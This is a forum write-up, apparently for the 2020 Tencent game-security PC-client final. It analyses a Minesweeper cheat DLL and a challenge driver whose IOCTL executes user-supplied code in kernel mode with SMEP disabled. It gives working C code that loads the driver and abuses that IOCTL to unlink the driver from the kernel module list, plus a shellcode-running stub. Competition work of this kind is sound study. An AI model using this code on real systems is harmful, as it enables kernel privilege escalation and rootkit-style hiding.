2020腾讯游戏安全技术复赛pc客户端安全wp
本帖最后由 shyoshyo 于 2020-4-14 01:47 编辑官网 https://gslab.qq.com/html/competition/2020/race-final.htm
这份 wp 的答案不一定正确,如果发现错误请一定帮我指出,感激不尽
Ring3
1.
用 WinDbg 查看已经加载的模块,看到一个可疑的模块
0:004> lm
start end module name
01000000 01020000 winmine (deferred)
6d030000 6d29a000 CoreUIComponents (deferred)
6e220000 6e266000 CheatTools (deferred)
6e2e0000 6e3bb000 WinTypes (deferred)
6e3c0000 6e44f000 CoreMessaging (deferred)
看一下这个模块,看信息基本没跑了
0:004> lm Dvm CheatTools
Browse full module list
start end module name
6e220000 6e266000 CheatTools (deferred)
Image path: D:\Temp\bin\CheatTools.dll
Image name: CheatTools.dll
Browse all global symbolsfunctionsdata
Timestamp: Sun Apr 23 14:46:00 2017 (58FC4DA8)
CheckSum: 00045158
ImageSize: 00046000
File version: 1.0.0.1
Product version:1.0.0.1
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0804.03a8
CompanyName: TODO: <公司名>
ProductName: TODO: <产品名>
InternalName: CheatTools.dll
OriginalFilename: CheatTools.dll
ProductVersion: 1.0.0.1
FileVersion: 1.0.0.1
FileDescription:TODO: <文件说明>
LegalCopyright: TODO: (C) <公司名>。保留所有权利。
后面可以分析,作弊的模块就是这个 D:\Temp\bin\CheatTools.dll,模块名 CheatTools
2. Dump 这个模块
0:004> .writemem C:\CheatTools.dll 6e220000 6e266000-1
修一下偏移
丢到 IDA 里逆向分析,可以看到初试中出现的两个指令 patch
按照初赛的分析,6E221660 对应锁时,6E2216D0 对应防死
还有一个 6E221820函数:
这个6E221820函数先调用游戏自身的 playat(1, 1) 先下一步,避免 (1, 1) 就是雷,导致重新随机化。0x1003512 即游戏自身的 playat 函数。
随后这个6E221820函数会读取 0x1005340 开始的内存,通过动态分析游戏,不难发现此处存储了地雷的信息
游戏进行过程中,0x1005340 区域开始的 8F 即地雷,因此 6E2218B3 前半部分在获取地雷游戏信息,之后,该函数会计算地雷的行列值:
最后调用游戏自身的 playat 函数,实现 autoplay:
另外还有一个6E221AC0函数,前半部分跟 6E2218B3差不多,但最后一步不是 playat 而是输出
因此这个函数实现了透视挂的功能
总结而言,这个外挂的有四个核心函数:
6E221660 锁时
6E2216D0 防死
6E221820 autoplay
6E221AC0 透视
=====================================================
Ring0
Part 1
1. 直接启动服务,提示
StartService FAILED 225:
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
分析后发现代码初始化回调函数部分返回 0xC0000906 导致系统提示上述信息
patch 该初始化函数的返位值为 0 即可加载,见 Driver_patched.drv
2.
配置注册表,使用 LookupPrivilegeValueA 和 AdjustTokenPrivileges 提升 SE_LOAD_DRIVER_NAME 权限,调用 ZwLoadDriver 加载驱动,见 load.c 和 load.exe。
编译方法为:
cl load.c Advapi32.lib /Feload.exe
#include<windows.h>
#include<stdio.h>
typedef struct _FYPHER_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef DWORD (CALLBACK* RTLINITUNICODESTRING)(PVOID, PVOID);
RTLINITUNICODESTRING RtlInitUnicodeString;
typedef DWORD (CALLBACK* ZWLOADDRIVER)(PVOID);
ZWLOADDRIVER ZwLoadDriver;
void requestPrivilege()
{
HANDLE hToken = NULL;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValueA("", SE_LOAD_DRIVER_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges.Luid = luid;
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, 0);
CloseHandle(hToken);
}
void loadDriver()
{
HKEY hk;
CHAR szBuf[] = "SYSTEM\\CurrentControlSet\\Services\\Driver";
CHAR path[] = "\\??\\C:\\Driver.drv";
CHAR objName[] = "Driver";
DWORD start = 3;
DWORD type = 1;
DWORD errorControl = 1;
UNICODE_STRING Name;
HMODULE hNtdll = LoadLibraryW( L"ntdll.dll" );
RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress(hNtdll, "RtlInitUnicodeString");
ZwLoadDriver = (ZWLOADDRIVER) GetProcAddress(hNtdll, "ZwLoadDriver");
RegDeleteKeyA(HKEY_LOCAL_MACHINE, szBuf);
RegCreateKeyA(HKEY_LOCAL_MACHINE, szBuf, &hk);
RegSetValueExA(hk, "ImagePath", 0, REG_EXPAND_SZ,(LPBYTE) path, sizeof(path));
RegSetValueExA(hk, "Start", 0, REG_DWORD,(LPBYTE) &start, sizeof(DWORD));
RegSetValueExA(hk, "Type", 0, REG_DWORD, (LPBYTE) &type, sizeof(DWORD));
RegSetValueExA(hk, "ErrorControl", 0, REG_DWORD, (LPBYTE) &errorControl, sizeof(DWORD));
RtlInitUnicodeString(&Name, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Driver");
ZwLoadDriver(&Name);
}
int main()
{
requestPrivilege();
loadDriver();
return 0;
}
3. 驱动核心的 ioctl handler 函数在此
这个函数根据 (ioctl_code >> 2) & 0xfff 的值(即 function code)是否为 0x800/0x801/0x802/0x803,分配以下的四种功能:
0x800
0x801
0x802
0x803
其中,对于第一个 0x800,输入为一个 0x10 字节的 buffer,输出 0x4字节buffer。
对于后三个 0x801, 0x802, 0x803,输入为一个 0x8 字节的 buffer,输出 0x8字节buffer。
4.
第一个功能 0x800 是以 ring0 态执行用户程序指定的命令
首先关闭 SMEP,然后一ring0态执行到用户态程序指定的函数指针处,以用户态程序指定的参数运行,并提供 MmGetSystemRoutineAddress 的地址供用户态(越权到内核态的)程序调用。此调用输入的数据结构为两个参数,一个函数指针,一个指定的运行参数,共 0x8 + 0x8 = 0x10 字节,输出的数据结构为 DWORD 的返回值,共 0x04字节。
后三个功能 0x801 0x802 0x803 均是计算 hash 值,分别为 MurmurHash64A, MurmurHash2, 和一个魔改了参数的 MurmurHash,通过搜索参数 6A4A7935BD1E99, 0x5BD1E995等不难找到。此调用输入的数据结构为一个参数,指向数据的指针,共 0x8 字节,输出的数据结构为 QWORD 的返回值,共 0x08字节。
5. 用户态程序通过 0x800 ioctl opcode,可以直接“越权”在内核态做一些操作。利用这个调用,可以将该模块从模块链中删除掉。
见程序 hide.c,编译命令为
cl hide.c /Fehide.exe
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
typedef struct _FYPHER_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _DRIVERDATA
{
LIST_ENTRY listentry;
ULONG unknown1;
ULONG unknown2;
ULONG unknown3;
ULONG unknown4;
ULONG unknown5;
ULONG unknown6;
ULONG unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
}DRIVERDATA, *PDRIVERDATA;
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
PVOID ExceptionTable;
ULONG ExceptionTableSize;
// ULONG padding on IA64
PVOID GpValue;
PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Unused5;
PVOID SectionPointer;
ULONG CheckSum;
// ULONG padding on IA64
PVOID LoadedImports;
PVOID PatchInformation;
}KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
PVOID MmGetSystemRoutineAdddbress;
PVOID arg;
PCHAR pRetAddr;
PCHAR pDriverBase;
PCHAR *ppDriverObject;
PCHAR pDriverObject;
DWORD fun()
{
pRetAddr = _ReturnAddress();
pDriverBase = pRetAddr - 0x2011;
ppDriverObject = (PCHAR *)(pDriverBase + 0x4308);
pDriverObject = *ppDriverObject;
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)(pDriverObject + 0x28); // pDriverObject->DriverSection
PLIST_ENTRY f = entry->InLoadOrderLinks.Flink;
PLIST_ENTRY b = entry->InLoadOrderLinks.Blink;
entry->InLoadOrderLinks.Flink->Blink = b;
entry->InLoadOrderLinks.Blink->Flink = f;
entry->InLoadOrderLinks.Flink = entry;
entry->InLoadOrderLinks.Blink = entry;
return 0;
}
int main()
{
HANDLE hDevice;
BOOL bRc;
ULONG bytesReturned;
DWORD errNum = 0;
PVOID Input;
DWORD Output;
Input = &fun;
Input = NULL;
if ((hDevice = CreateFile("\\\\.\\Hello123", GENERIC_READ | GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
{
errNum = GetLastError();
printf("CreateFile failed : %d\n", errNum);
return ;
}
bRc = DeviceIoControl (hDevice, (DWORD) (0x800 << 2) | METHOD_BUFFERED,
&Input, (DWORD) sizeof(Input), &Output, (DWORD) sizeof(Output), &bytesReturned, NULL);
if ( !bRc )
{
printf ( "Error in DeviceIoControl : %d", GetLastError());
return;
}
CloseHandle(hDevice);
}
PS: 这个题想到了之前搞过的一个驱动壳,暴力 ring3 提权到 ring0 改系统 hook,游戏是安全了,但留下个重大安全漏洞,熟悉的配方熟悉的味道(x
https://securelist.com/elevation-of-privileges-in-namco-driver/83707/
PPS: 这段程序没过 PatchGuard,可能会蓝屏
6. 查看后不难发现,该文件为一个壳的内存 dump,入口在 0x0 处
第一条语句调用 0x275c0 函数,参数(即 0x275c0 中的 rcx)为 0x5 开始的压缩程序数据内容:
我们可以把它编译为一个 PE 文件直接执行,见汇编程序 flag.asm,编译的命令为:
ml64 flag.asm /Foflag.obj /c
link /subsystem:console /nodefaultlib /entry:main flag.obj
.data
dq base;
.code
base:
db 0e8h
db 0bbh
db 075h
db 002h
db 000h
db 0bbh
db 075h
db 002h
db 000h
db 054h
# 省略若干题目提供的文件内容
db 000h
db 000h
main proc
jmp base
main endp
end
运行下来即可得到 flag
因此最终的 flag 为” 16447126361811417937 “(注意前后各有一个空格)
PS:这个壳不需要任何导入函数,从 TEB 直接怼所需要的导入函数信息,这操作太骚了,日后有时间一定仔细研究研究
Part 2
我们通过修改游戏进程的 EPROCESS 结构中的 protection 成员,使其成为保护进程 (Protected Process),从而防止其他程序读写本游戏程序的内存,实现反外挂。
Ring0部分修改 EPROCESS 结构的核心代码如下,位于驱动的ioctl handler 编号 0x815 处:
{
//
// kd> dt nt!_EPROCESS
// +0x6f9 SectionSignatureLevel : UCh
// +0x6fa Protection : _PS_PROTECTION
// +0x6fb HangCount : Pos 0, 3 Bits
//
// kd> dt nt!_PS_PROTECTION
// +0x000 Level : UChar
// + 0x000 Type : Pos 0, 3 Bits
// + 0x000 Audit : Pos 3, 1 Bit
// + 0x000 Signer : Pos 4, 4 Bits
//
PCHAR pEProcess = (PCHAR) PsGetCurrentProcess();
PPS_PROTECTION pPPL = (PPS_PROTECTION)(pEProcess + 0x6fa);
PS_PROTECTION protection = { 0 };
protection.Flags.Signer = PsProtectedSignerWinTcb;
protection.Flags.Type = PsProtectedTypeProtected;
*pPPL = protection;
KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, " set!!\n"));
// Set status as success
status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
break;
}
该代码中,中相关 struct 的偏移基于 1903,如果是其他版本的win10 可能需要微调偏移。驱动 ring0 部分的具体实现详见ProtectedProcess.c/sys。实现参考了开源代码https://github.com/notscimmy/pplib。
在游戏启动时,游戏程序需要主动调用驱动的 0x815 iotcl,运行上述ring0 代码修改当前游戏进程的EPROCESS信息,将当前进程变为保护进程,从而实现反外挂。这里我们用一个 dll 表示该请求过程,需要在游戏启动阶段注入到游戏进程中,详见 protected.c/dll 。实际业务中可以把它整合到引擎启动阶段,不必独立成一个 dll 注入到程序中。
需要以管理员权限运行游戏,运行 dll前需要将 ProtectedProcess.sys 放到 C:\ProtectedProcess.sys。
我们准备了两个录像 antiesp_enabled.mov,antieap_disabled.mov 展示开启/关闭反外挂后的效果。
能上精华的,也是上过清华的 前面都看懂了 ,到汇编那就没明白了?意思直接shell code那代码段就可以了?
楼主能把汇编打包出来吗
我这样跑为什么出错,还有这样的压缩代码怎么区分这是x86还是x64的代码段呢
反正我这按你这思路x86 x64跑都崩溃
#include <iostream>
#include <Windows.h>
int main()
{
FILE *fp;
fopen_s(&fp, "C:\\Users\\hello\\Downloads\\Flag.fg", "rb");
if (fp)
{
fseek(fp, 0, SEEK_END);
int len = ftell(fp);
unsigned char * buf = (unsigned char*)malloc(len + 1);
memset(buf, 0, len + 1);
fseek(fp, 0, SEEK_SET);
fread(buf, 1, len, fp);
//typedefvoid(WINAPIV *pfnProc)();
typedefvoid(WINAPI *pfnProc)();
pfnProc pCALL = (pfnProc)buf;
pCALL();
}
fclose(fp);
getchar();
}
这个支持一下,这个 技术贴 good job,现在的学生实力不俗呀! 太厉害了吧 tql,膜拜大佬 感谢分享 太强了,学习学习 收藏一下了